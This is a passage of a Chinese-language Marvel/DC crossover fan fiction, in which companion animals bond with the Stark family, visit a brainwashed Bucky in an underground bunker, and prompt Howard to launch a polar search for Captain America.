霍华德也看到了那只猫和……水獭。 这太奇怪了。 霍华德减缓了车速。 多纳滋则因为那个名字抬起头来。 霍华德？ 霍华德·斯塔克？ 车辆停下，车门打开，两人下车去观察小动物，发现它们干净整洁而且很懂礼貌，乖巧可爱，最重要的是塔塔真的很萌…… 总之，他们让锈斑猫和塔塔上了车。 多纳滋看着它们。 它们也看着多纳滋，锈斑猫还跳到前面去，看帕夫。 不过玛利亚将它搂住了。 “这不是食物哦。”玛利亚跟小猫说。 “喵。”锈斑猫乖巧的叫了一声，在玛利亚怀里蹲好，片刻后又主动趴在玛利亚的膝头，舒舒服服的打起了呼噜。 它将对玛利亚的喜欢写在了浑身每一根绒毛上面。 “汪呜？”多纳滋探头问锈斑猫：他们就是玛利亚女士和霍华德·斯塔克先生吧？ 锈斑猫抬眼看了狗狗一眼，矜持的点了点头。 是的哦。 他们是托尼的父母。 是我本该无缘相见的，重要的家人们。 锈斑猫从嗓子里持续发出愉悦的咕噜声。 玛利亚疑惑道：“这猫怎么一直在响？” 霍华德没有吭声。 他也觉得奇怪。 当然，他们都知道猫咪舒服就会呼噜，在喜欢的人面前更是会响个不停。 可他们与这猫素未谋面。 更不要说，这压根不是一只家猫！ 最初两人并未发现锈斑猫的特殊之处，只觉得是只迷路的小猫崽，可锈斑猫一上车他们就注意到了，看爪身比例，这小东西完全是只成猫。 它就这么小。 所有家猫无论是血统如何都不该这么小。 唯一可能的就是某种小型野猫。 野生的小型猫科，和水獭结伴在路边漫步，一只金毛头顶着一只金丝熊，同样是在路边慢悠悠的走着。 “就算一会在路边遇见女巫，我都不会感到惊讶了。” 霍华德对玛利亚说道。 玛利亚让他不要乱说话，现在世界上已知的女巫应该只有亚特兰蒂斯的王后湄拉，若是他们真的在这里遇见海洋的王后湄拉，那可不是什么美好的童话场景，而是真正的恐怖故事。 他们俩在聊天，小动物们也在喵喵汪汪，唧唧嘤嘤的沟通。 天堂岛与亚特兰蒂斯随时要开战，关于天堂岛和亚特兰蒂斯的情报，锈斑猫和塔塔已经听布莱克说了，此时将信息分享给多纳滋和帕夫。 多纳滋则告诉锈斑猫和塔塔刚才他们听到的消息。 包括寿命存疑的巴基，被九头蛇抓住的外星来客，二度改造的超级血清等等。 锈斑猫听的一愣一愣的。 “喵。”这个世界没有超人，蝙蝠侠也不是我们知道的那个…… “嘤叽？”会不会这个外星来客就是超人？ “……唧唧？”从时间上来看确实有可能，可他会是我们所知道的那个超人吗？ 这问题难住了其他小动物。 “汪呜？”布莱克去哪了？ 多纳滋没看到那道快速匿入林间的黑影，但它从锈斑猫和塔塔的身上嗅到了属于布莱克的味道，那味道非常清晰，显然它们才分开不久。 “喵。” 锈斑猫告诉多纳滋它们是从哥谭过来的。 若不是骑着布莱克，它们也不可能赶上这辆车。 刚才在远处它们就看到了车灯，悄悄靠近好奇了一下，锈斑猫发现驾驶员居然是霍华德，副驾驶是玛利亚。 考虑到托尼父母当年出车祸的时候就是这么一辆小轿车，霍华德开着车，带着玛利亚在林间小道上行驶，现在几乎是一模一样的配置，完全相同的场景，就让锈斑猫无法安心，于是布莱克带着它们加速绕到前方，将它们放下，为了不吓到斯塔克夫妇，大红对这些事情毫无兴趣，跟着布莱克一起离开了。 至于去了哪里？ 锈斑猫摇了摇头，布莱克并没有说清楚。 此时车辆已经驶入纽约市，小动物们从窗户往外望去。 这里没有斯塔克大厦。 意料之中，但依然让猫猫沮丧。 对于锈斑猫来说，少了斯塔克大厦这个地标建筑，纽约也少了许多光彩，人类的繁华喧闹与小猫猫没有任何关系，只有托尼是它与这座城市相连的纽带。 看它没精打采的，玛利亚抚摸着小猫。 “是不是车声太吵？” “我都开了一路了，亲爱的。” “……”也是哦。 而且如果是嫌吵，猫猫会露出抵抗的姿态，而不是这样恹恹的。 多纳滋倒是能猜到锈斑猫的想法，它汪了一声，告诉锈斑猫：这个世界的托尼还很年轻，还没到建设斯塔克大厦的那个年纪。 当然，锈斑猫当然知道那个。 斯塔克夫妇还活着，托尼当然没到建设斯塔克大厦的年纪。 猫有些烦躁，它也说不清楚自己这是怎么了，只是单纯的，非常闹心。 好在车很快驶入斯塔克庄园。 现在的时间实在是太晚了，根本没有宠物店或者收容所还开着，斯塔克夫妇只能将小动物们先带回自己家里，霍华德看着这几只小动物，怎么看它们都是互相认识的，还会互相叫着聊天，偶尔做出一些十分人性化的类似于叹气和忧愁的动态表情。 这让霍华德非常在意。 他打开车门，放几只小动物下车。 就见刚才还无精打采的锈斑猫眼睛突然亮了起来。 熟悉的气息带走了锈斑猫的注意力，它立刻蹿了出去。 斯塔克夫妇对托尼没有过来迎接他们这件事毫不意外，上次分开的时候他们之间也是不太愉快的状态，现在那孩子估计还在生气吧。 他们收拾行李，商量着今晚几只小动物该如何在家里过夜。 它们之间可是存在食物链关系，不能简单粗暴的放在一个屋子里养。 玛利亚去准备仓鼠住的地方，霍华德则给狗狗和水獭安排临时居住的房间，理论上它们是可以住在一起的。 猫猫再单独准备一个房间…… 嗯？ ？ ？ 猫呢？ ？ ？ …… ………… 托尼·斯塔克没在自己的房间里，他正看着母亲的钢琴发呆。 本来说好下午会到，结果现在都已经凌晨了。 好在人至少是平安归来。 托尼决定去睡觉。 他转身离开，余光扫过窗户。 一只可爱的小猫出现在他的面前。 托尼脚步一顿。 “喵~”开窗~放我进去好不好~ 猫咪又甜又软的叫着，发现托尼在看自己，就用肉垫压在玻璃上，然后略微歪头，咧嘴咪呀的叫唤。 这可是猫猫为了征服人类而进化出来的必杀技呢。 锈斑猫知道这招绝不会失败。 托尼：…… 他也说不清楚自己为何会感到心软。 明明是只外来的野猫…… 也许危险，也许有病菌，不过这一刻，那些都不太重要了。 尤其是当他尝试着打开一道窗户缝，让小猫进来，小家伙立刻钻入他的怀里面，软软的用头蹭着他的胸口。 那副仿佛没有他就无法继续存活的样子，那不计后果的信任和依赖。 这一切正是托尼无法抵抗的。 无论是锈斑猫的托尼，还是这个年轻的托尼。 锈斑猫无比熟练的窝在托尼怀里打滚，年轻的托尼抱着它，双手都不知道怎么摆放才对，只觉得怀里面的猫完全是软乎乎的一滩，又绒又暖，让他双手都不敢用力，生怕不小心弄伤了怀里信任着自己的小猫。 “你……” 托尼几乎完全失去了言语的能力。 他呆呆的看着怀里的小东西，锈斑猫正好昂起脑袋，看向他。 “喵~” 见托尼并不排斥自己，锈斑猫得寸进尺，在托尼怀里蹭够了，就开始往他肩膀上爬。 猫猫征服人类的第一步！ 肩膀！ 然后就是头顶啦！ 托尼也说不清楚自己是怎么被一只小猫蹬鼻子上脸的，他还不生气，任由这小东西爬上自己的脑袋，抱住自己的头顶，试图给自己舔毛。 一边舔还一边在响…… 咕噜噜噜噜的…… 谁家好猫刚到家就一直响哦！ 第59章 霍华德·斯塔克是个远超托尼的超级天才, 如果不是时代限制，他的发明说不定可以征服整个宇宙！ 说起霍华德，锈斑猫可以喵喵喵一整天。 如果让霍华德来研究母盒科技和氪星科技, 再加上充足的外星材料, 也许他可以从零开始做出一台跨越平行的机器。 多纳滋和帕夫对此也深信不疑。 没有人或者伴生动物会去怀疑霍华德的智慧。 这个世界还是有钢骨的,就是不知道钢骨身上那半段机械,是否还是达克赛德的母盒科技,如果是,怎么说服钢骨交出这项技术？ 它们对此毫无头绪。 在它们的宇宙中钢骨是正义联盟的成员, 也许布莱克了解他，可以帮忙说服一二？ 它们只能等遇到布莱克的时候再去问大猫猫。 “好了, 该休息了。” 洗完澡的玛利亚来催促几只小动物去睡觉, 喵喵汪汪的, 大家也睡不好。 好在小家伙们都很懂事，见人类开始熄灯，它们也跟着安静下来。 锈斑猫偷偷溜走,钻进托尼的卧室。 “喵~” 托尼看着它，门虽然开了，人却也堵在门口，似乎没打算让小猫进去。 小猫毫不在乎。 门缝这么大，人两脚间的缝隙这么大，它一下就钻进房间，在地毯上蹭了蹭爪子,果断跳上托尼的床。 “喵呜~” 托尼：…… 托尼震惊的看着小猫趴在自己的枕头上，肚皮一翻,就开始舒服的咕噜噜直响，那声音额外催眠,托尼居然也撑不住困意，顾不上跟小猫商量床的归属，就这么滚上床，在小猫钻进他怀里的时候，稀里糊涂的抱着小猫一起睡了。 …… 凌晨三点。 斯塔克家里的所有人都已经睡下，整栋房子陷入完全的寂静。 这时候锈斑猫才睁开眼睛，悄悄从托尼的怀里钻出来，来到走廊，它和多纳滋与帕夫它们汇合。 塔塔没有过来这边，好像是霍华德在通宵做什么研究，塔塔就去好奇，然后听着听着支撑不住先睡着了。 锈斑猫听着就叹一口气。 它的孵化者也经常在实验室通宵不知道休息不记得吃饭呢。 猫猫狗狗在地上仔细嗅闻，寻找庄园里最浓郁的那道血腥气味，跟着它的指引，它们找到了藏起来的电梯，在锈斑猫的帮助下往庄园地下，去探查霍华德和玛利亚藏起来的秘密。 斯塔克庄园地下。 这里也有个“洞xue”。 和蝙蝠洞不一样，这里是人工建造的，是冰冷金属铸成的庇护所，完善的安全基地，就算是核弹袭击，它也能安然无恙。 血与杀戮的味道告诉小动物们，巴基就在这里。 …… ………… 属于巴基的屋子里只亮着一盏台灯。 光线昏暗，这让他感到舒服。 神情呆滞的巴基就坐在椅子上，有人给他洗了澡，喂了饭，收拾的干干净净，半长的头发还是让他显得精神萎靡。 精神状态不佳导致的黑眼圈加上没有自我一般的空洞目光，让人怀疑这人到底是个活人，还是完美的蜡像作品。 从这个人身上，实在无法看出属于活人的东西。 自我、思维、灵活…… 或者别的什么称呼方式。 电梯声吸引了巴基的注意力。 声音透过走道，传到了巴基所在的房间，明明只剩下非常细微的响动而已，但对于一件在拥有5倍强化的基础上还加入了外星细胞，获得超级听力和感知力的杀戮工具来说，那声音依然过于刺耳。 巴基死死盯着房门。 他能感觉到有东西正在靠近。 三个呼吸声。 只是对方的脚步听起来非常奇怪。 那种节奏…… 巴基的大脑短暂运作，随后继续罢工，没有命令的时候，周围的一切对于巴基来说，不过是些和他完全没关系的琐事罢了。 巴基维持着双手放在膝盖上正坐的姿势，依然只是静静地看着门口。 门在他眼前打开。 视线平齐的位置却什么东西都没有。 巴基低下头。 这才看到了那些东西。 “……” 狗、猫、老鼠。 巴基移开了视线。 三只小动物：……？ “喵？”他是不是脑子出问题了？ “汪呜。”他被洗脑了，这应该是后遗症。 “喵喵？”可我们那个平行的巴基没有这个问题来着？ “汪。”有的，只是没有那么明显，而且我们孵化出来的时候，巴基已经摆脱洗脑有段时间了，所以相处的时候才会表现的比较正常，但和他原本的状态相比，差距还是很明显的。 是这样吗？ 如果那个有些冷冰冰的，只是偶尔笑一下的人不是巴基原本的模样，那他原来该是什么样子？ “唧唧。”他是布鲁克林的小王子哦。 帕夫跟锈斑猫嘚瑟。 身边玩伴不断，交际能力Max，如果他愿意，能让所有人都感到开心的小王子哦。 这样说可能有些夸张的成分，不过没有关系，它们每只小动物夸起自己的孵化者来，都是毫无底线的。 因为它们爱着他们。 先去巴基身边的，不是帕夫，它跟着锈斑猫去了另一头，屋子里一台电脑吸引了锈斑猫的注意力，它们去研究那东西。 锈斑猫开始跟霍华德的系统过不去。 它有好多在意的事情，这里的数据库能帮上忙，可它们进行交汇的时候走的突然，进入幻视体内的纳米机器人没能收回来，现在剩余的这些是否能攻破霍华德的系统？ 关于这点，锈斑猫并没有绝对的把握。 猫猫看了一眼监控摄像头。 好在这里有监控设备，就算真的触发警报，也是它们两只小动物在胡作非为，不至于牵连到屋子里唯一的人类。 帕夫坐在操作台的角落，从颊囊里掏出一颗李子干慢悠悠的啃着。 它过来不是因为它能帮上忙，只是觉得多纳滋大概想跟巴基单独相处一会，所以帕夫才跟着锈斑猫过来，然后乖乖蹲在不会碍事的位置，开始吃今晚宵夜后的加餐。 而多纳滋则慢吞吞的走到巴基面前。 正在持续发呆中的巴基只感觉自己脚边暖洋洋的，他缓慢低头，看到了对着自己摇尾巴的大金毛。 巴基：……？ 为什么这里会有一只狗？ 狗大概是心情不错，看到他就跟看到了久违的老朋友似的。 一开始表现的还比较矜持，尾巴摇晃的频率正常，可随着多纳滋和巴基对上视线，它摇晃尾巴的速度逐渐加快。 微凉的风在屋内卷起来。 巴基：…… 他迟疑的抬起手，这狗居然完全不怕他，反而是将脑袋拱到了他的手心里，属于生物的温暖和毛茸茸的触感瞬间填满了巴基的手心。 因为狗狗是昂着脑袋的，略带一点湿润感觉的鼻尖就顶在巴基的手臂处。 鼻尖的触感很凉。 巴基低头看着因为兴奋而吐出舌头喘气的狗狗。 金毛的舌头向上卷着，特别快乐的模样。 为什么快乐？ 因为见到了自己吗？ 虽然感觉不太可能是这样，可巴基还是这样想了。 只是那声音不像是他自己的，更像是有什么东西在努力的将这条信息传入他的脑中，透过洗脑后留下的层层疤痕，对他的灵魂诉说。 振作一点，巴基。 你的Cap还在等着与你再见的那天呢。 巴基愣住了。 刚才是……幻听？ 好像真的是幻听。 很快巴基就意识到，那是他自己在脑子里补出来的声音，而且为了让声音更加合理，更能说服自己，他还自行给那声音做了调整，让它听起来不像是自己的，反而更接近面前这只金毛的形象。 “……” 而且…… 听起来真的有点像Cap。 看来这脑子是真的坏掉了。 虽然没有人和巴基谈过那些事情，可自己回来到现在，那个他们口中与自己并肩作战许多次的战友，美国队长，史蒂夫·罗杰斯从未出现过。 如果对方与自己决裂，那么那些人就没必要跟自己提对方。 如果对方暂时有事，他们也可以说明。 而不是现在这样偶尔冷不丁的提起，又突然没了下文。 那些人的表现更像是一种缅怀。 也就是说，对方可能已经离开人世。 巴基自己经历过多次冰冻解冻，知道现在世界已经过去许多年，当年的战友哪怕注射了血清成为超级士兵美国队长，也多半活不到现在。 这对巴基来说没什么意外的。 他不理解的是，有时候想起这个推测，本就空洞的大脑，会出现一种向下坠落的失衡感。 “他们认为我需要美国队长，所以找了你来做替代品？” 走神中的巴基想到了这个可能性。 多纳滋：……？ 什么？ 巴基回忆着霍华德给自己看的照片。 金毛，健壮，甜心。 再看看面前这只大狗狗。 金毛，大骨架，金毛也是出了名的伴侣犬，自然也是个甜心。 ……很好，对上号了。 怪不得自己脑子会产生联想。 巴基这样想着，确认是脑子在自顾自的作妖，他就干脆不管了，将手放回膝盖上，继续发呆这项重要的工作。 多纳滋：…… 多纳滋无奈的看着这家伙。 热情的狗狗是不会在意人类对自己是否冷漠的。 多纳滋靠着巴基的脚边坐下，然后趴下，以陪伴守护的姿态陪着巴基，就算是现在巴基的状态不好，无法理解这份陪伴，它也毫不在意。 所谓的陪伴就是，陪在这个人类身边，这件事情本身。 第60章 塔塔是最后一个到的,霍华德终于被起夜的玛利亚拎去睡觉，顺手把塔塔丢回他们在水池边上临时扎出来的围栏内。 从来只在室内休息的塔塔不干了。 人家又不是野生的水獭！ 而且这都没个窝的，野生的水獭也住窝的好嘛！ 意见很大。 气坏了的塔塔也不困了,嗅着同伴的气味找到这里来,进了电梯,开始扒拉墙壁——它够不到按钮。 好在锈斑猫为了以防万一,在电梯里留着少量的纳米机器人。 它们注意到塔塔在满电梯蹦跶,就直接把它送到地下基地。 再追着气味的指引,塔塔总算是找到了伙伴们的所在地,依然够不到把手的塔塔在啪啪哒哒的敲门，多纳滋这才暂时离开巴基身边,去给塔塔开门。 这家伙自然的就好像它才是这间屋子的主人似的。 巴基默默看着,也不生气,也不动弹。 塔塔先跑去锈斑猫那边，见猫猫正全神贯注的在忙，它就不去打扰了,在屋子里绕了一圈没事情干，见多纳滋靠回巴基脚边，塔塔干脆也跑到这边来，好奇的看着这个沉默的跟个雕塑似的人。 蝙蝠侠也像雕塑啦。 但蝙蝠侠是石像鬼那种暗藏恐怖的雕塑。 而巴基，他是那种更纯粹的，无害的，单纯的雕塑。 “嘤嘤？”塔塔问：那个人类是生病了吗？ 多纳滋点了点脑袋, 它告诉塔塔：他被人洗脑后失去了自我，但我想, 他不是那种会轻易放弃的人，他的自我不会真的消失, 应该是藏在内心深处了，只不过也许是因为藏的太深，又或者现在的环境依然无法让他感到安全，就算停止洗脑，他的自我也没有完全浮现。 塔塔秒懂：“嘤嘤！”这个问题我能解决！ 幻视那种一半一半的情况塔塔都能修，更不要说面前这是个百分百纯正零添加的人类，绝对符合塔塔的能力范围嘛！ 不用多纳滋多说什么，塔塔直径爬上巴基的膝盖。 巴基抬起手，躲开水獭亲密的抱抱，同时低下头，不经意的和塔塔对上视线。 恍惚间，房间内一直维持在舒适区间的温度突然下降。 雪原，还有火车的声音。 巴基躺在一块凸起的岩石上，他的角度还可以，能看见火车远去的身影，他一直看着，那辆火车也就一直往远处开。 塔塔出现在这里，同他一起看着一直在远离，又始终不会消失的火车。 这是巴基自我清晰时看到的最后一段让他无法忘怀的影像。 他像是被困在了这个时候。 嗯…… 不对。 正确的说法应该是巴基主动将自己的自主意识困在了这个时候。 那辆火车上，一定有一个很特殊的人。 他对那人的执着形成了屏障，加上他强悍的意志力，让他躲过一次次洗脑，将自我藏在这片风雪中。 塔塔大概是有些冷，它窝在巴基的胸口，感受人类所剩无几的温度。 同时也将自己的温度传递给人类。 它们在这片风雪中互相取暖。 “嘤嘤？”你知道这家伙最在乎的人是谁吗？ 现实中，塔塔扭头问多纳滋，它还告诉多纳滋，现在的巴基内心只执着一个跟着火车远去的人，自己无法引他离开。 如果强行引导的话，可能会有一点伤害。 因为从另一种角度来说，那也是一种洗脑的行为。 多纳滋想了想，有了答案。 “汪。”那我们要去很远的地方。 它们得去把美国队长挖出来。 锈斑猫抽空抬起脑袋，看向它们。 “喵呜？”确定吗？那只老冰棍现在还在冰川下面冻着哦。 就算知道位置又怎么样呢？在这个世界可没有超人会来帮忙，想要取出那只老冰棍可不是容易的事情，就算是人类动用设备也需要挖很久的时间。 除非它们能找到一个奇迹。 多纳滋想了想，将脑袋偏向一旁。 开始锈斑猫还以为它闹别扭了，就没太在意，正要低头继续忙碌，又突然反应过来，那只金毛的性格和美国队长几乎是一模一样的，脾气有，但绝不会独自在那闹别扭，它突然陷入沉思，肯定是有什么想法了。 “喵？”想什么呢？ 锈斑猫被它勾起好奇心。 多纳滋维持着偏头的动态，一动不动，只固定的看向前方。 锈斑猫从操作台处一跃而下，凑到多纳滋面前，见金毛还是不理它，猫猫昂起脑袋，仔细观察多纳滋，发现这家伙的眼神看着有些额外空洞，给人感觉有些呆呆的，视线并没有落在眼前的墙体或是地板上，更像是穿透了未知的迷雾，看向很远很远的地方。 帕夫也跑了过来，仔细看了看多纳滋的状态，然后告诉锈斑猫：它在找奇迹的位置。 锈斑猫：……？ 猫猫是知道多纳滋有个主动能力，是关于找人的，大概就是多纳滋的感知额外敏锐，只要是它曾经接触过的生物，它就能找到对方的目前所在地。 有次锈斑猫想要抓半夜不睡觉又在做实验的斯塔克去睡觉，却死活找不到那家伙躲哪个实验室了，因为所有的实验室门口留下的气味都差不多，新鲜度几乎是一致的，AI崽崽又不给开门查看，它只能硬挠，可找不准房间，挠了斯塔克也听不到。 没办法的锈斑猫只能气得喵喵叫。 路过的多纳滋发现气坏了的锈斑猫，在了解到情况后主动帮忙。 那时候多纳滋好像也是这样。 看着某个方向，神情空洞，看了一会就精准的找到了斯塔克的所在地。 后来锈斑猫对比了当时多纳滋看的方向，这家伙好像是穿透了数面墙体，看到斯塔克在实验室里…… 可这次情况不对吧？ 奇迹，压根不在这个平行宇宙。 “……喵？”难道那家伙也被交换过来了？ 猫猫猜测。 这时候多纳滋也回过神来。 “汪。”星期五和奇迹在一起，我们带人类过去吧。 锈斑猫恍然大悟。 星期五也来了。 那么凭借星期五的能力，它们确实能轻松地将老冰棍从冰层下面带出来，唯一的麻烦就是怎么把老冰棍运到这边。 所以它们要把人类过去。 锈斑猫驮着帕夫跳回操作台，在边缘扯了一张便签纸，帕夫抱着笔在上面写单词。 多纳滋回到巴基身边。 “汪。”很快就好了。 它对巴基说：它们会把队长找回来的。 于是小动物们决定兵分两路，塔塔陪着巴基，锈斑猫、帕夫和多纳滋则带着纸条上楼去找霍华德。 此时霍华德和玛利亚已经睡下了，唤醒工作交给了锈斑猫，多纳滋和帕夫在旁边围观。 霍华德·斯塔克从未想过，自己会在凌晨3点，被一只锈斑猫跳到床上来，直接踩在自己的胸口上，喵喵喵的强制叫起床。 他刚睡熟，正是最疲惫的时候，被强制叫醒时脑子都没能立刻开机。 “什么？你要做什么？” 霍华德觉得自己在做梦，都没质疑一只锈斑猫为什么会跑到他的床上，还仿佛在说什么似的对他喵喵喵…… “喵——”我们找到美国队长啦，跟我们去找他吧。 说着，将锈斑猫写好单词的纸条塞到霍华德脸上。 霍华德恍恍惚惚，他根本听不懂，也没来得及去摸纸条来看，话说黑灯瞎火的，摸到纸条他也看不清楚。 更让霍华德不安的是，他总觉得自己脚上好像蹬到了一只毛茸茸的东西。 那是什么？ 在玛利亚“发生了什么？”的提问中，被子被短暂的掀开，是玛利亚坐了起来，随后一道身影猛地从被子里冲出，直接咬住了锈斑猫的身体，带着它离开了床面。 多纳滋前爪抬起少许，像是要去追，但看到锈斑猫并未受伤，那只大猫也没有露出任何攻击意图，多纳滋又默默收回了爪子，继续围观。 和锈斑猫相比，那大猫真的是好大的一只。 虽然没有布莱克那么离谱，却比普通家猫都大了很多。腿还非常的修长，感觉上只是普通的站着就有人膝盖那么高，它姿态优雅，目光柔和，半截泪痕，短而超级会扭动的毛绒尾巴，还有一对大大的耳朵直直的立着，像只童话里的精灵。 这东西立在床边，霍华德终于回过神来，起身迅速开灯，就看到那只大猫含着锈斑猫，歪头看着他们。 “薮猫……？” 怎么今天家里尽出珍稀动物？ ？ ？ 薮猫温和的看着他们，见危险解除，它低头松口，放下口中喵喵叫的锈斑猫，然后发出一声半喵半汪的叫声。 “哦亲爱的，我没有事情，”玛利亚对薮猫说，然后看向锈斑猫，并疑惑的开口：“什么意思？你们找到美国队长了？” “什么？”霍华德没跟上节奏。 就看着锈斑猫的猫脸上居然露出“惊喜”的神色，它们正苦于难以说服霍华德和玛利亚相信它们，没想到玛利亚居然孵化出了伴生动物！ 锈斑猫迅速对着玛利亚喵喵叫唤。 玛利亚依然疑惑，并且迷茫。 她认真听了一会，转头看向霍华德。 “不管你信不信，亲爱的，它们真的找到史蒂夫了。” 霍华德：…… 他有点不信。 这太奇怪了不是吗？ 一觉起来自己的妻子突然能跟自己捡来的动物说话了，并且还说找到了他们一直没有找到的故友。 这……这真的很诡异。 薮猫冲霍华德叫了一声。 它并没有展现额外的进攻性，只是做出一次善意的提醒。 玛利亚这才反应过来，伸手轻触霍华德的手臂，安抚丈夫紧张的神经。 “我好像能听懂它们说话了，说这是……孵化者会有的，嗯……就理解成超能力吧。在被窝里孵出小动物的人，就能听懂这些动物说的话。” “……” 霍华德更疑惑了，他睁大眼睛看着玛利亚，无助的像个孩子。 这大概是第一次吧。 玛利亚从自己丈夫眼中读到了清澈的迷茫。【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 凌晨3点半。 霍华德知道了许多不得了的事情。 比如他和他妻子的被窝里突然出现了一只动物,一只薮猫。 而他的妻子，玛利亚，居然能听懂那只薮猫说话。 哦不,不仅是薮猫。 他的妻子突然就能听懂所有动物说话了。 “不是所有,只限于它们这样的存在,这些从人们的被窝里孵化出来的小动物。”玛利亚向自己的丈夫解释,虽然她自己也在混乱之中,却尽可能的将已知的事情表达清楚。 “孵化。” 霍华德捕捉到一个关键词。 这词听起来就很特别, 是一种证明, 表达出小动物与人之间密切的关系，孵化者和被孵化出来的神奇小动物。 他给自己的妻子做了些简单的检查, 这用去了半个小时的时间。 小动物们就在不远处等待。 薮猫只是和锈斑猫互相嗅了嗅,迅速达成良好关系,它将锈斑猫团到自己胸前，趴着给小猫舔毛。 锈斑猫表现的有些懵懂，稀里糊涂的就给按住了,莫名其妙服了软，呆呆的蜷缩在薮猫的两只前爪中间，给舔。 多纳滋和帕夫就在边上围观，看锈斑猫脑袋顶上的毛都被薮猫舔得湿透了。 而霍华德则开始仔细查阅妻子的检查报告。 好消息是报告显示玛利亚一切正常，可也正是因为这个，霍华德的眉头紧紧拧着，一刻也没有松开过。 这时, 房间的门被人从外面打开。 屋内所有人和小动物同时抬头。 推开门的人是半夜被声音吵醒的托尼·斯塔克，他将脑袋探进来,发现一屋子家伙全部盯着自己，即将出口的质问顿时噎在了嗓子眼。 他瞪着眼睛看着屋子里的这群人和小动物。 “你们……” “没事。” 霍华德打断了他的询问。 看起来霍华德并不想让托尼参与这件事情,未知，危险，将这些带给自己的孩子，那肯定不是一名父亲会做的事情。 他的话让托尼即将出口的“也许我可以帮忙”掐死在喉咙里。 托尼盯着霍华德。 也就半秒不到的时间吧，他移开了视线。 眼看托尼马上就要转头走掉，薮猫一下冲了出去，锈斑猫几乎是和它同时行动，两只猫在门关上的最后一瞬，追着托尼脚后跟，来到他身旁。 “什么？” 托尼感觉到自己的脚踝被毛茸茸的温暖触感蹭了一下，低头就看到两只猫。 “喵~”不要理他，我的托尼也说过，他就是笨蛋。 锈斑猫喵了一声，然后开始从鼻腔里发出哼哼唧唧的动静，像是撒娇，又像是抱怨。 薮猫没有发出声音，只是陪在托尼身边。 看着两只猫和儿子一起离开。 玛利亚提议：“也许我们可以带上托尼。” “你是指这次去极地救援美国队长的行动？” “是的。” 好消息，至少霍华德相信了它们，愿意展开这项救援活动。 搜索美国队长——无论是尚有一线生机，还是遗体——这样的活动已经展开过无数次了，多这一次不多，少这一次不少，救援队伍和设备都是早就准备好的。 只要霍华德找到了新的可能性，他们随时可以立刻出发。 然后再一次扑空。 可能对霍华德来说，这一次也不过是他突然找到了某种新的可能性，然后发出，并准备好再一次毫无收获，空手而归。 一路上的交通工具，所有参与成员，以及前线推进和后勤安排，这些重要的事情全都是在霍华德亲自监督下一点一点完成的。 现在不过是再多带上几只小动物罢了，对他们的安全不会造成多大影响。 但霍华德依然不愿意带上托尼。 “他对这次行动一无所知，”霍华德十分疑惑，不明白为什么妻子会提议这个，“这又不是出去玩，为什么要带上他？” 对于霍华德来说，现在的托尼还在学习的年纪，性格也不稳重，并不适合参与他们的事。 尤其是极地那种地方，一点任性就可能招致巨大的麻烦。 玛利亚面带微笑，将霍华德拉去隔壁房间，和他单独谈谈这事情。 儿子正在心思活跃且敏感的年纪，霍华德却总将他视作幼童来管束，平日里也抽不出空来培养父子感情，久而久之，玛利亚有些担心他们之间的关系是否会一路滑坡，滚向难以挽回的边沿。 他们谈了一个多小时。 早上快六点的时候，霍华德安排好行程，通知小动物准备出发，同时也告知托尼，让他立刻收拾准备， 15分钟后跟着一起上飞机。 这消息让托尼毫无防备，他立刻站起来，腿上正给他暖膝盖的锈斑猫差点被他掀翻。 接下来就是好一顿手忙脚乱。 并没有行军经验的托尼有些狼狈的在指定时间内收拾好了行礼。 在锈斑猫和薮猫的陪伴下赶到楼下，钻入车子的后座，霍华德开车带他们去军事基地乘坐飞机，车子里非常安静，霍华德甚至没跟托尼打招呼，玛利亚坐在副驾驶，扭头对托尼笑了一下作为安抚。 托尼也试着对母亲笑了一下，可因为大脑还有些混乱，笑容就难免显得扭曲。 后座上坐着金毛和薮猫这两只体型不小的家伙，它们一左一右将托尼挤在中间，这提供了额外的温暖，还有一种被环绕的感觉。 也许是童年缺乏家人的陪伴，已经是青年的托尼并不排斥这种环绕。 他安静的坐着，表情不爽，像是还在和父母赌气，手上撸着锈斑猫的动作却也没停下。 将近一个小时后他们在军事基地乘上飞机。 这还是托尼第一次亲身参与这些行动，这些关于寻找那个占据了他父亲许多许多的时间，将他们亲子时间挤压至零的，那个美国队长。 上了飞机后他随意找了个位置坐下，然后靠在悬窗上，看着外面太阳还未完全升起的世界。 没人知道他在想什么，只有锈斑猫趴在他的膝头，安安静静的，用自己的体温来温暖他的身体。 所有人都穿着厚重的冬衣，锈斑猫、薮猫、金丝熊、金毛、塔塔这几只动物有一个算一个都耐不住极地的寒冷。 幸运的是他们的飞行时间很长，即使是临时抱佛脚般慌乱的准备，也有足够的时间为小动物们收拾出一套御寒的装备。 出门前玛利亚不知道从哪里翻出托尼小时候的衣服。 在询问过托尼并得到肯定的答复后，玛利亚趁着飞机上无事可做，将这些衣服拆了，改吧改吧，正好给小动物们套上。 金毛和薮猫的最简单，收一收袖子就可以拿来穿。 锈斑猫的则是将托尼小时候的冬衣拆开，取出棉花，布料重新裁剪，最后拼出新的小衣服来。 而帕夫的衣服，就算是玛利亚也无法完成那个。 金丝熊的体积实在不适合穿衣服，玛利亚干脆将小家伙揣在自己的口袋里，但帕夫有些不好意思，玛利亚觉得有趣，也不为难它，而是在金毛的衣服里面做了个小小的口袋，这样帕夫就能躲在它朋友多纳滋的口袋里，和它一起行动了。 塔塔的更容易，拆下来的袖子套进去基本就能直接用 “喵~” 锈斑猫穿着小衣服昂头跟托尼嘚瑟。 托尼被它逗笑，轻轻抚摸着它的小脑袋。 玛利亚为小动物忙碌的时候，霍华德也没有闲着。 他在思考今天的事情。 关于为何会突然展开这次搜索行动，霍华德只是告诉军方，自己有了新的推测，要去实地考察，因此不需要太多随行人员，实际上他们除了一名驾驶员以外，没有再要其他任何人。 这很不合理。 为了争取到这一点，霍华德费了不少口舌。 并且他还不能暴露这群特殊小动物的存在，这是小动物们的要求——不可以告诉其他人，这一切是它们提供的线索，也不能让其他人知道它们是特殊的小动物。 按照薮猫的说法，最好是除了必要的驾驶员以外不要再有其他任何人。 所以，这是一次需要保密的行动。 而需要保密的对象正是这些小动物们，考虑到它们能和人沟通，完全理解人类话语的意思，那么它们知道自己的特殊性，也清楚必须要为自己的特殊而保持神秘，似乎也不是什么不可以理解的事情了。 它们很清楚该如何保护自己。 但霍华德还是有些好奇。 “谁教你们的？” 在飞机上等待航行结束的时间里，闲来无事，霍华德仿佛随意的向小动物们提出自己的疑惑。 面对霍华德的问题，几只小动物无辜的歪着脑袋。 